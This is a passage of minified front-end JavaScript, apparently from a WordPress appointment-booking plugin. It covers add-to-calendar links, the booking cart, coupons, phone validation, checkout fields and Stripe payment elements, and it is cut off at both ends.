URLSearchParams({action:"TEMPLATE",text:i,dates:`${o}/${l}`,details:s,location:a}).toString(),this.isTimezoneProvideByIANA(n)&&r.searchParams.append("ctz",n),r.toString()}static createYahooCalendarURL(e,t,i,s,a){const r=new URL("https://calendar.yahoo.com/"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n),h={v:"60",view:"d",type:"20",title:i,desc:s,in_loc:a};return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()?(h.st=o.replace(/T\d\d\d\d\d\d|Z/g,""),h.dur="allday"):(h.st=o,h.et=l),r.search=new URLSearchParams(h).toString(),r.toString()}}class me{constructor(e,t){this.cart=t,this.$bookingDetailsSection=e,this.$bookingCartItems=this.$bookingDetailsSection.find(".booking-reservations"),this.$bookingCartItem=this.$bookingCartItems.find(".reservation"),this.$addToCalendarGoogle=this.$bookingCartItem.find(".mpa-add-to-calendar-link--google"),this.$addToCalendarApple=this.$bookingCartItem.find(".mpa-add-to-calendar-link--apple"),this.$addToCalendarOutlook=this.$bookingCartItem.find(".mpa-add-to-calendar-link--outlook"),this.$addToCalendarYahoo=this.$bookingCartItem.find(".mpa-add-to-calendar-link--yahoo")}assignURL(e,t){e.attr("href",t)}initBookingCart(){this.$bookingCartItems.empty(),wp.hooks.doAction("mpa_booking_details_section_init",this.$bookingDetailsSection,this.cart),this.cart.items.forEach((e=>{let t=this.$bookingCartItem.clone();this.$bookingCartItems.append(t);const i=e.getService(),s=i.getName(),a=e.employee.name+". "+i.getQuantityLabel()+": "+e.getCapacity()+".";let r=s;e.getCapacity()>1&&(r+=" ",r+='<span class="mpa-reservation-capacity">',r+=i.getQuantityLabel()+": "+e.getCapacity(),r+="</span>"),t.find(".reservation-title").html(r),t.find(".reservation-date").html(f(e.date)),t.find(".reservation-time").html(e.time.toString());const n=de.createICSURL(e.getItemId(),e.time.startTime,e.time.endTime,s,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_ics",e.location.name,e)),o=de.createGoogleCalendarURL(e.time.startTime,e.time.endTime,s,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_google",e.location.name,e)),l=de.createYahooCalendarURL(e.time.startTime,e.time.endTime,s,a,wp.hooks.applyFilters("mpa_booking_cart_item_location_yahoo",e.location.name,e));this.assignURL(t.find(".mpa-add-to-calendar-link--google"),o),this.assignURL(t.find(".mpa-add-to-calendar-link--apple"),n),this.assignURL(t.find(".mpa-add-to-calendar-link--outlook"),n),this.assignURL(t.find(".mpa-add-to-calendar-link--yahoo"),l)})),this.$bookingDetailsSection.toggleClass("mpa-hide",!1)}reset(){this.$bookingDetailsSection.toggleClass("mpa-hide",!0);const e="#";this.assignURL(this.$addToCalendarGoogle,e),this.assignURL(this.$addToCalendarApple,e),this.assignURL(this.$addToCalendarOutlook,e),this.assignURL(this.$addToCalendarYahoo,e)}}class ue extends pe{setupProperties(){super.setupProperties(),this.hideButtons=!0,this.isPosted=!1,this.isBooked=!1,this.$message=this.$element.find(".mpa-message").first(),this.$buttonReset=this.$buttons.find(".mpa-button-reset"),this.$bookingDetails=this.$element.find(".mpa-booking-details").first(),this.$bookingDetails.length>0&&(this.bookingDetails=new me(this.$bookingDetails,this.cart))}reload(){return this.isPosted=!1,this.isBooked=!1,this.setMessage(u("Making a reservation...","motopress-appointment")+' <span class="mpa-preloader"></span>'),this.bookingDetails&&this.bookingDetails.reset(),Promise.resolve(this)}addListeners(){super.addListeners(),this.$buttonReset.on("click",this.resetForm.bind(this))}theId(){return"booking"}react(){this.isPosted&&(this.$buttons.removeClass("mpa-hide"),this.$buttonBack.toggleClass("mpa-hide",this.isBooked),this.$buttonReset.toggleClass("mpa-hide",!this.isBooked||this.isRedirectNeeded()))}show(){super.show(),this.createBooking()}createBooking(){c("/bookings",{...wp.hooks.applyFilters("mpa_booking_cart_data",this.cart.toArray()),nonce:this.cart.getBookingNonce()}).then((e=>{this.isRedirectNeeded()?this.redirectPayment():(this.isPosted=this.isBooked=!0,this.cart.paymentDetails.booking_id=e.booking_id,wp.hooks.doAction("mpa_booking_cart_response",e,this.cart),this.setMessage(e.message),this.bookingDetails&&this.bookingDetails.initBookingCart(),this.react())}),(e=>{this.isPosted=!0,this.setMessage(e.message),this.react()}))}showReady(){super.showReady(),this.$buttonBack.addClass("mpa-hide"),this.$buttonReset.addClass("mpa-hide")}setMessage(e){this.$message.html(e)}redirectPayment(){this.setMessage(u("You will be redirected to a secure page to complete the payment.","motopress-appointment"));let e=this.cart.getPaymentDetails();window.location.href=e.redirect_url}isRedirectNeeded(){let e=this.cart.getPaymentDetails();return"redirect_url"in e&&""!=e.redirect_url}resetForm(e){e.preventDefault(),this.isPosted&&this.isBooked&&this.$element.trigger("mpa_reset_booking")}}function ge(e){let t="";for(let i in e)t+=" "+i+'="'+e[i]+'"';return t}function ye(e,t={}){return"<button"+ge(t=jQuery.extend({},{type:"button",class:"button"},t))+">"+e+"</button>"}function fe(e,t){let i={service_id:".mpa-service-id",service_name:".mpa-service-name",service_thumbnail:".mpa-service-thumbnail",employee_id:".mpa-employee-id",employee_name:".mpa-employee-name",location_id:".mpa-location-id",location_name:".mpa-location-name",reservation_date:".mpa-reservation-date",reservation_save_date:".mpa-reservation-save-date",reservation_time:".mpa-reservation-time",reservation_period:".mpa-reservation-period",reservation_save_period:".mpa-reservation-save-period",reservation_capacity:".mpa-reservation-capacity",reservation_clients:".mpa-reservation-clients",reservation_clients_count:".mpa-reservation-clients-count",reservation_price:".mpa-reservation-price"},s=t.clone();s.attr("data-id",e.getItemId());let a=e.getCapacityOptions();for(let t in i){let n=i[t],o=s.find(n).first(),l="{"+t+"}";if(!(o.length>0?o.html():"").includes(l))continue;let h="";switch(t){case"service_id":h=e.service.id;break;case"service_name":h=e.service.name;break;case"service_thumbnail":h=ke(e.service.thumbnail);break;case"employee_id":h=e.employee.id;break;case"employee_name":h=e.employee.name;break;case"location_id":h=e.location.id;break;case"location_name":h=e.location.name;break;case"reservation_date":h=f(e.date);break;case"reservation_save_date":h=f(e.date,"internal");break;case"reservation_time":h=e.time.toString("short");break;case"reservation_period":h=e.time.toString();break;case"reservation_save_period":h=e.time.toString("internal");break;case"reservation_capacity":h=Se(r(a,a),e.capacity);break;case"reservation_clients":h=Pe(r(a,a),e.capacity);break;case"reservation_clients_count":h=e.capacity;break;case"reservation_price":let t=e.employee.id;h=ve(e.service.getPrice(t,e.capacity))}o.html(o.html().replace(l,h))}return s.find(".cell-people .cell-title").html(e.getService().getQuantityLabel()),s.find('[name*="{item_id}"]').each(((t,i)=>{i.name=i.name.replace("{item_id}",e.getItemId())})),1===a.length&&s.find(".cell-people").addClass("mpa-hide"),s}function be(e){let t="";t+='<table class="mpa-order widefat">',t+="<tbody>";for(let i of e.products)t+='<tr class="mpa-order-service">',t+='<td class="column-service">',t+='<span class="mpa-service-name">'+i.name+"</span>",i.capacity>1&&(t+='<span class="mpa-reservation-capacity">',t+=i.quantity_label+": "+i.capacity,t+="</span>"),t+="</td>",t+='<td class="column-price">'+_e(i.price)+"</td>",t+="</tr>";return t+='<tr class="mpa-order-subtotal">',t+='<th class="column-subtotal">'+u("Subtotal","motopress-appointment")+"</th>",t+='<th class="column-price">'+_e(e.subtotal)+"</th>",t+="</tr>",t+="</tbody>",t+="<tfoot>",e.coupon&&(t+='<tr class="mpa-order-coupon">',t+='<th class="column-coupon">',t+=u("Coupon: %s","motopress-appointment").replace("%s",e.coupon.code),t+="</th>",t+='<td class="column-price">',t+=_e(-e.coupon.amount),t+=" ",t+='<a href="#" class="mpa-remove-coupon">'+u("Remove","motopress-appointment")+"</a>",t+="</td>",t+="</tr>"),t+='<tr class="mpa-order-total">',t+='<th class="column-total">'+u("Total","motopress-appointment")+"</th>",t+='<th class="column-price">'+_e(e.total)+"</th>",t+="</tr>",t+="</tfoot>",t+="</table>",t}function ve(e,t={}){let i=m().settings();t=jQuery.extend({currency_symbol:i.getCurrencySymbol(),currency_position:i.getCurrencyPosition(),decimal_separator:i.getDecimalSeparator(),thousand_separator:i.getThousandSeparator(),decimals:i.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let s=function(e,t=0,i=".",s=","){let a,r,n,o,l,h="";return e<0&&(h="-",e*=-1),a=parseInt(e=(+e||0).toFixed(t))+"",(r=a.length)>3?r%=3:r=0,l=r?a.substr(0,r)+s:"",n=a.substr(r).replace(/(\d{3})(?=\d)/g,"$1"+s),o=t?i+Math.abs(e-a).toFixed(t).replace(/-/,0).slice(2):"",h+l+n+o}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),a="mpa-price";if(0==e&&(a+=" mpa-zero-price"),0==e&&t.literal_free)a+=" mpa-price-free",s=g("Free","Zero price","motopress-appointment");else{t.trim_zeros&&(s=function(e,t=null){null==t&&(t=m().settings().getDecimalSeparator());let i=new RegExp("\\"+t+"0+$");return e.replace(i,"")}(s));let i='<span class="mpa-currency">'+t.currency_symbol+"</span>";switch(t.currency_position){case"before":s=i+s;break;case"after":s+=i;break;case"before_with_space":s=i+"&nbsp;"+s;break;case"after_with_space":s=s+"&nbsp;"+i}e<0&&(s="-"+s)}return'<span class="'+a+'">'+s+"</span>"}function _e(e,t={}){return t.literal_free=!1,ve(e,t)}function Se(e,t,i={}){let s="<select"+ge(i)+">";return s+=Pe(e,t),s+="</select>",s}function we(e,t,i=!1){let s="";return s='<option value="'+e+'"'+(i?' selected="selected"':"")+">",s+=t,s+="</option>",s}function Pe(e,t){let i="";for(let s in e)i+=we(s,e[s],s==t);return i}function Ce(e,t,i,s){let a="";const r=String(s);for(const[e,i]of Object.entries(t))a+=we(e,i,e===r);for(let e of i)a+=we(String(e.id),e.name,String(e.id)===r);e.empty().append(a).val(r)}function ke(e){let{width:t,height:i}=m().settings().getThumbnailSize();return"<img"+ge({width:t,height:i,src:e,class:"attachment-thumbnail size-thumbnail"})+">"}class $e extends pe{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(".mpa-cart"),this.$items=this.$cart.find(".mpa-cart-items"),this.$itemTemplate=this.$cart.find(".mpa-cart-item-template"),this.$noItems=this.$element.find(".no-items"),this.$totalPrice=this.$element.find(".mpa-cart-total-price"),this.$buttonNew=this.$buttons.find(".mpa-button-new")}theId(){return"cart"}addListeners(){super.addListeners(),this.$buttonNew.on("click",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass("mpa-cart-item-template"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),i=e.getDate(),s=e.getTime();this.cart.getItems().forEach((a=>{a.isSet()&&a.getItemId()!=t&&a.isAtTime(i,s)&&a.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(".mpa-cart-item").remove(),this.$noItems.removeClass("mpa-hide"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),i=e.getMaxCapacity();var s,a,r;e.setCapacity((s=e.getCapacity(),a=t,r=i,Math.max(a,Math.min(s,r))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,i)=>{let s='.mpa-cart-item[data-id="'+i+'"]',a=this.$items.find(s);0===a.length?(a=this.addItem(e),this.bindListeners(a)):(a=this.updateItem(a,e),this.bindListeners(a))})),this.updateTotalPrice()}addItem(e){let t=fe(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass("mpa-hide"),t}updateItem(e,t){let i=fe(t,this.$itemTemplate);return e.replaceWith(i),i}bindListeners(e){let t=e.data("id"),i=this.cart.getItem(t),s=e.find(".mpa-reservation-capacity select, .mpa-reservation-clients select"),a=e.find(".mpa-reservation-price"),r=e.find(".mpa-button-remove, .mpa-button-edit-or-remove"),n=e.find(".mpa-button-edit, .mpa-button-edit-or-remove");s.on("change",(t=>{let s=W(t.target.value);i.setCapacity(s);let r=i.getBookingVariantForCapacity(s),n=r.employeeId,o=r.locationId;if(i.getEmployeeId()!=n)i.setEmployee(n,!1),i.setLocation(o,!1),e=this.updateItem(e,i),this.bindListeners(e);else{let e=i.service.getPrice(n,s);a.html(ve(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&r.on("click",(i=>{i.stopPropagation(),e.remove();let s=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass("mpa-hide"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent("mpa_remove_from_cart",{detail:{cartItem:s,currencyCode:m().settings().getCurrency()}}))})),this.isMultibookingEnabled()||n.on("click",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(_e(this.cart.getTotalPrice()))}isMultibookingEnabled(){return m().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger("mpa_booking_step_new",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent("mpa_begin_checkout",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}class Te{constructor(e,t){this.cart=t,this.$element=e,this.$couponCode=e.find('[name="coupon_code"]'),this.$applyButton=e.find(".mpa-apply-coupon-button"),this.$messageHolder=e.find(".mpa-message-wrapper"),this.$preloader=e.find(".mpa-preloader"),this.$parentForm=e.parents(".mpa-booking-step").first(),this.addListeners(),this.reset()}addListeners(){this.$couponCode.on("keydown",(e=>{"Enter"===e.code&&this.onEnter(e)})),this.$applyButton.on("click",this.onSubmit.bind(this))}onEnter(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(e.target.value)}onSubmit(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(this.$couponCode.val())}applyCouponCode(e){this.clearMessage(),e?(this.pauseAll(),se().coupon().findByCode(e).then((e=>{e.isApplicableForCart(this.cart)?(this.cart.setCoupon(e),this.reset(),this.triggerApplied(e),this.setMessage(u("Coupon code applied successfully.","motopress-appointment"))):this.setMessage(u("Sorry, your booking is not eligible for this coupon.","motopress-appointment")),this.unpauseAll()}),(e=>{this.setMessage(e.message),this.unpauseAll()}))):this.setMessage(u("Coupon code is empty.","motopress-appointment"))}reset(){this.$couponCode.val(""),this.clearMessage(),0===this.cart.getTotalPrice()?(this.disable(),this.$element.addClass("mpa-hide")):(this.enable(),this.$element.removeClass("mpa-hide"))}disable(){this.$couponCode.prop("disabled",!0),this.$applyButton.prop("disabled",!0)}enable(){this.$couponCode.prop("disabled",!1),this.$applyButton.prop("disabled",!1)}pauseAll(){this.disable(),this.showPreloader(),this.$parentForm.trigger("mpa_booking_step_disable")}unpauseAll(){this.enable(),this.hidePreloader(),this.$parentForm.trigger("mpa_booking_step_enable")}triggerApplied(e){this.$parentForm.trigger("mpa_booking_coupon_applied",{coupon:e})}setMessage(e){this.$messageHolder.html(e).removeClass("mpa-hide")}clearMessage(){this.$messageHolder.html("").addClass("mpa-hide")}showPreloader(){this.$preloader.removeClass("mpa-hide")}hidePreloader(){this.$preloader.addClass("mpa-hide")}}function Ie(e){const s=jQuery("<span/>",{id:e.attr("id")+"_error",class:"mpa-phone-field-error mpa-hide",text:u("Phone number is invalid.","motopress-appointment")});e.after("<br>",s);const a=i(e[0],{separateDialCode:!0,initialCountry:t.settings.country,hiddenInput:e.attr("name"),utilsScript:t.urls.plugin+"assets/js/intl-tel-input-17.0.19/js/utils.js"});a.promise.then((()=>{e.val()&&r(),e.on("countrychange",(e=>{r()})),e.on("input",(e=>{r()}))}));const r=()=>{a.isValidNumber()?(jQuery("input[type='hidden'][name='"+e.attr("name")+"']").val(a.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass("mpa-phone-number--invalid"),s.addClass("mpa-hide")):(e.addClass("mpa-phone-number--invalid"),s.removeClass("mpa-hide"))};return a}window.mpa_intl_tel_input=Ie;class De extends pe{setupProperties(){super.setupProperties(),this.name="",this.email="",this.phone="",this.notes="",this.acceptTerms=!1,this.createAccount=!1,this.$checkoutForm=this.$element.find(".mpa-checkout-form"),this.$name=this.$element.find(".mpa-customer-name"),this.$email=this.$element.find(".mpa-customer-email"),this.$phone=this.$element.find(".mpa-customer-phone"),this.$notes=this.$element.find(".mpa-customer-notes"),this.$order=this.$element.find(".mpa-order"),wp.hooks.doAction("mpa_step_checkout_form",this.$checkoutForm),0!==this.$phone.length&&(this.phoneValidator=Ie(this.$phone)),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(".mpa-accept-terms")),this.$messageHolder=this.$element.find(".mpa-message").first(),this.$preloader=this.$element.find(".mpa-loading"),m().settings().isAllowCustomerAccountCreation()&&(this.$createAccount=this.$element.find(".mpa-customer-create-account"),this.$createAccountDescription=this.$element.find(".mpa-customer-create-account-description"),this.setProperty("createAccount",this.$createAccount.prop("checked"))),t&&t.currentCustomer&&t.currentCustomer.name&&(this.setProperty("name",t.currentCustomer.name),this.$name.val(t.currentCustomer.name)),t&&t.currentCustomer&&t.currentCustomer.email&&(this.setProperty("email",t.currentCustomer.email),this.$email.val(t.currentCustomer.email)),t&&t.currentCustomer&&"undefined"!==t.currentCustomer.phone&&(this.setProperty("phone",t.currentCustomer.phone),this.phoneValidator.setNumber(t.currentCustomer.phone),this.$phone.trigger("input")),this.service=null,this.couponSection=null}theId(){return"checkout"}propertiesSchema(){return{name:{type:"string",default:""},email:{type:"string",default:""},phone:{type:"string",default:""},notes:{type:"string",default:""},acceptTerms:{type:"bool",default:!1},$createAccount:{type:"bool",default:!1}}}addListeners(){super.addListeners(),this.$checkoutForm.on("submit",(e=>!1)),this.$name.on("input",(e=>this.setProperty("name",e.target.value))),this.$email.on("input",(e=>this.setProperty("email",e.target.value))),this.$phone.on("input",(e=>{this.setProperty("phone",""),this.phoneValidator.isValidNumber()&&this.setProperty("phone",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$phone.on("countrychange",(e=>{this.setProperty("phone",""),this.phoneValidator.isValidNumber()&&this.setProperty("phone",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$notes.on("input",(e=>this.setProperty("notes",e.target.value))),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on("input",(e=>this.setProperty("acceptTerms",e.target.checked))),m().settings().isAllowCustomerAccountCreation()&&this.$createAccount.on("input",(e=>{this.setProperty("createAccount",e.target.checked),e.target.checked?this.$createAccountDescription.removeClass("mpa-hide"):this.$createAccountDescription.addClass("mpa-hide")})),this.$element.on("mpa_booking_step_disable",this.disable.bind(this)),this.$element.on("mpa_booking_step_enable",this.enable.bind(this)),this.$element.on("mpa_booking_coupon_applied",(()=>this.updateOrder()))}load(){this.couponSection?this.couponSection.reset():m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(".mpa-coupon-details"),this.cart)),this.cart.hasCoupon()&&this.cart.testCoupon(),this.updateOrder(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){wp.hooks.doAction("mpa_step_checkout_reset",this.$checkoutForm),this.$notes.val(""),this.resetProperty("notes"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop("checked",!1),this.resetProperty("acceptTerms")),m().settings().isAllowCustomerAccountCreation()&&(this.clearMessage(),this.$createAccount.prop("checked",!1),this.resetProperty("createAccount")),this.couponSection&&this.couponSection.reset()}updateOrder(){if(0===this.$order.length)return;this.$order.empty(),this.$order.html(be(this.cart.getOrder()));let e=this.$order.find(".mpa-remove-coupon");e.length>0&&e.on("click",this.removeCoupon.bind(this))}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.updateOrder()}isValidInput(){return this.isValidName()&&this.isValidEmail()&&this.isValidPhone()&&this.isValidAcceptTerms()&&wp.hooks.applyFilters("mpa_step_checkout_form_valid",!0,this.$checkoutForm)}isValidName(){return!(this.$name.length>0&&this.$name.is("[required]"))||""!==this.name}isValidEmail(){return!(this.$email.length>0&&this.$email.is("[required]"))||""!==this.email&&!!this.email.match(/.+@.+/)}isValidPhone(){return!(this.$phone.length>0&&this.$phone.is("[required]"))||this.phoneValidator.isValidNumber()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||m().settings().isPaymentsEnabled()||this.acceptTerms}react(){super.react(),this.$buttonNext.prop("disabled",!1)}setMessage(e){this.$messageHolder.html(e).removeClass("mpa-hide")}clearMessage(){this.$messageHolder.html("").addClass("mpa-hide")}showPreloader(){this.$preloader.removeClass("mpa-hide")}hidePreloader(){this.$preloader.addClass("mpa-hide")}async maybeSubmit(){if(wp.hooks.hasFilter("mpa_step_checkout_maybe_submit")&&await wp.hooks.applyFilters("mpa_step_checkout_maybe_submit",{},this.$checkoutForm),this.couponSection&&this.couponSection.disable(),this.cart.setCustomerDetails({name:this.name,email:this.email,phone:this.phone,notes:this.notes,acceptTerms:this.acceptTerms}),this.createAccount&&""!==this.email){this.showPreloader();return c("/customers/create",{name:this.name,email:this.email,phone:this.phone}).then((e=>{this.hidePreloader(),this.clearMessage()}),(e=>{throw this.hidePreloader(),this.setMessage(e),e}))}}}class Ee{setupProperties(){this.gatewayId="basic",this.settings=this.getDefaults(),this.$mountWrapper=null,this.loadPromise=null,this.isEnabled=!1,this.isMounted=!1,this.haveErrors=!1}constructor(e,t){this.setupProperties(),this.$mountWrapper=e,this.cart=t}load(){return this.addListeners(),this.loadPromise=Promise.resolve(this),this.loadPromise}addListeners(){}onCartChange(e){}mount(e){}ready(){return this.loadPromise}enable(){this.isEnabled||(this.isMounted||(this.mount(this.$mountWrapper),this.isMounted=!0),this.$mountWrapper.removeClass("mpa-hide"),this.isEnabled=!0)}disable(){this.isEnabled&&(this.$mountWrapper.addClass("mpa-hide"),this.isEnabled=!1)}isValid(){return!this.haveErrors}processPayment(e,t){return c("/payments/prepare",{payment_details:e.paymentDetails})}getDefaults(){return{country:m().settings().getCountry(),redirect_url:{payment_received:m().settings().getReservationReceivedPageUrl(),failed_transaction:m().settings().getFailedTransactionPageUrl()}}}reset(){}}class Ae extends Ee{enable(){}}class Me{setupProperties(){this.methods=null,this.uid="",this.paymentMethods=new M,this.selectedMethod="",this.$mountWrapper=null,this.$errorsWrapper=null,this.$gatewayPreloader=null,this.mountedMethods=[]}constructor(e){this.setupProperties(),this.methods=e,this.uid=B(),this.addPaymentMethods(this.methods)}mountedMethod(){let e=!1;Object.entries(this.mountedMethods).forEach(((t,i)=>{i||(e=!0)})),e&&this.$gatewayPreloader.addClass("mpa-hide")}addPaymentMethods(e){for(const t in e)this.paymentMethods.includesKey(t)||(this.paymentMethods.push(t,{$nav:null,$fields:null}),this.selectedMethod||(this.selectedMethod=t))}isMounted(){return null!==this.$mountWrapper}mount(e){e.append(this.render()),this.$gatewayPreloader=e.parent().find(".mpa-payment-gateway-title .mpa-preloader"),this.$gatewayPreloader.removeClass("mpa-hide"),this.paymentMethods.forEach(((t,i,s)=>{t.$nav=e.find(".mpa-stripe-payment-method."+s),t.$fields=e.find(".mpa-stripe-payment-fields."+s);const a=this.methods[s].getControl();if(null!==a){const e=this.getElementSelector(s);this.mountedMethods[s]=!1,a.mount(e),a.on("ready",(t=>{this.mountedMethod(t),document.querySelector(e).classList.remove("mpa-preloader-skeleton-pulsate")}))}"card"===s&&this.methods.card.isCanMakePaymentRequest().then((e=>{const t=this.getElementSelector("payment-request-button"),i=document.querySelector(t);i&&(e?(this.mountedMethods.payment_request_button=!1,this.methods.card.paymentRequestButton.mount(t),this.methods.card.paymentRequestButton.on("ready",(e=>{this.mountedMethod("payment_request_button"),i.classList.remove("mpa-preloader-skeleton-pulsate")}))):(i.classList.add("mpa-hide"),document.querySelector(".mpa-stripe-payment-request-button-separator").classList.add("mpa-hide")))}))})),e.find('input[name="stripe_payment_method"]').on("change",this.onPaymentMethodChange.bind(this)),this.$mountWrapper=e,this.$errorsWrapper=e.find(".mpa-errors")}onPaymentMethodChange(e){let t=null;switch(this.selectedMethod){case"payment":case"card":case"ideal":case"sepa_debit":t=this.methods[this.selectedMethod].getControl()}null!==t&&t.clear(),this.selectPaymentMethod(e.target.value)}selectPaymentMethod(e){e!==this.selectedMethod&&(this.togglePaymentMethod(this.selectedMethod,!1),this.togglePaymentMethod(e,!0),this.selectedMethod=e)}togglePaymentMethod(e,t){if(this.isMounted()&&this.paymentMethods.includesKey(e)){let i=this.paymentMethods.find(e);i.$nav.toggleClass("active",t),i.$fields.toggleClass("mpa-hide",!t)}}getElementSelector(e){return"sepa_debit"===e&&(e="iban"),"#mpa-stripe-"+e+"-element-"+this.uid}render(){let e="";e+='<section class="mpa-stripe-payment-container">',this.paymentMethods.length>1&&(e+=this.renderNavigation());for(let t of this.paymentMethods.keys)e+=this.renderFields(t);return e+='<div class="mpa-errors"></div>',e+="</section>",e}renderNavigation(){let e="";e+='<nav class="mpa-stripe-payment-methods">',e+="<ul>";for(let t of this.paymentMethods.keys){let i=t===this.selectedMethod;e+='<li class="mpa-stripe-payment-method '+t+(i?" active":"")+'">',e+="<label>",e+='<input type="radio" name="stripe_payment_method" value="'+t+'"'+(i?' checked="checked"':"")+">",e+=" "+this.methods[t].title,e+="</label>",e+="</li>"}return e+="</ul>",e+="</nav>",e}renderFields(e){let t="";switch(t+='<div class="mpa-stripe-payment-fields '+e+(e===this.selectedMethod?"":" mpa-hide")+'">',t+="<fieldset>",e){case"payment":t+=this.renderPaymentFields();break;case"card":t+=this.renderCardFields();break;case"ideal":t+=this.renderIdealFields();break;case"sepa_debit":t+=this.renderSepaDebitFields();break;default:t+=this.renderRedirectNotice()}return t+="</fieldset>","sepa_debit"===e&&(t+='<p class="notice">',t+=u("By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.","motopress-appointment").replace("%s",m().settings().getBusinessName()),t+="</p>"),t+="</div>",t}renderPaymentFields(){let e="";return e+='<div id="mpa-stripe-payment-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-payment-element"></div>',e}renderCardFields(){let e="";return e+='<label for="mpa-stripe-card-element-'+this.uid+'">',e+=u("Credit or debit card","motopress-appointment"),e+="</label>",this.methods.card.isEnabledWallets()&&(e+='<div id="mpa-stripe-payment-request-button-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-payment-request-button-element mpa-preloader-skeleton-pulsate StripeElement"></div>',e+='<div class="mpa-stripe-payment-request-button-separator">'+u("or","motopress-appointment")+"</div>"),e+='<div id="mpa-stripe-card-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-card-element mpa-preloader-skeleton-pulsate"></div>',e}renderIdealFields(){let e="";return e+='<label for="mpa-stripe-ideal-element-'+this.uid+'">',e+=u("Select iDEAL Bank","motopress-appointment"),e+="</label>",e+='<div id="mpa-stripe-ideal-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-ideal-element mpa-preloader-skeleton-pulsate"></div>',e}renderSepaDebitFields(){let e="";return e+='<label for="mpa-stripe-iban-element-'+this.uid+'">',e+=u("IBAN","motopress-appointment"),e+="</label>",e+='<div id="mpa-stripe-iban-element-'+this.uid+'" class="mpa-stripe-element mpa-stripe-iban-element mpa-preloader-skeleton-pulsate"></div>',e}renderRedirectNotice(){let e="";return e+='<p class="notice">',e+=u("You will be redirected to a secure page to complete the payment.","motopress-appointment"),e+="</p>",e}showError(e){this.isMounted()&&this.$errorsWrapper.html(e).removeClass("mpa-hide")}hideErrors(){this.isMounted()&&this.$errorsWrapper.addClass("mpa-hide").html("")}reset(){let e=this.paymentMethods.firstKey();this.selectPaymentMethod(e)}}class xe extends Ee{load(){return this.loadPromise=h("/payments/settings",{gateway_id:this.gatewayId}).catch((e=>console.error(e.message)||{})).then((e=>(jQuery.extend(this.settings,e),this))),this.loadPromise}}class Fe{name=null;title=null;control=null;api=null;elements=null;constructor(e,t,i){if(this.api=e,this.settings=i,this.elements=t,new.target===Fe)throw new Error("Cannot construct Abstract instances directly");if(void 0===this.setupProperties)throw new Error("Must override method: setupProperties()");if(this.setupProperties(),null===this.name||void 0===this.name)throw new Error('"name" must be defined in a non-abstract payment method class');if(null===this.title||void 0===this.title)throw new Error('"title" must be defined in a non-abstract payment method class')}createControl(){return null}getControl(){return this.control||(this.control=this.createControl()),this.control}reset(){null!==this.control&&this.control.clear()}createPaymentMethodData(e,t,i){let s={type:this.name,billing_details:{name:e.padEnd(3," "),email:t,phone:i}};return null!==this.control&&(s[this.name]=this.control),s}createPaymentMethod(e){return this.api.createPaymentMethod(e)}confirmPayment(e,t){throw new Error("Abstract Method has no implementation")}processPayment(e,t,i){const s=e.getCustomer(),a=this.createPaymentMethodData(s.name,s.email,s.phone);return this.createPaymentMethod(a).then((t=>{if(t.error)throw new Error(t.error.message);return c("/payments/prepare",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return"requires_action"==e.status&&"redirect_to_url"==e.next_action.type&&(t.redirect_url=e.next_action.redirect_to_url.url),t})).catch((e=>{throw console.error("Unable to process payment.",e.message),null!=i.error_handler&&i.error_handler(e.message),e}))}}class Be extends Fe{setupProperties(){this.name="payment",this.title=u("Payment 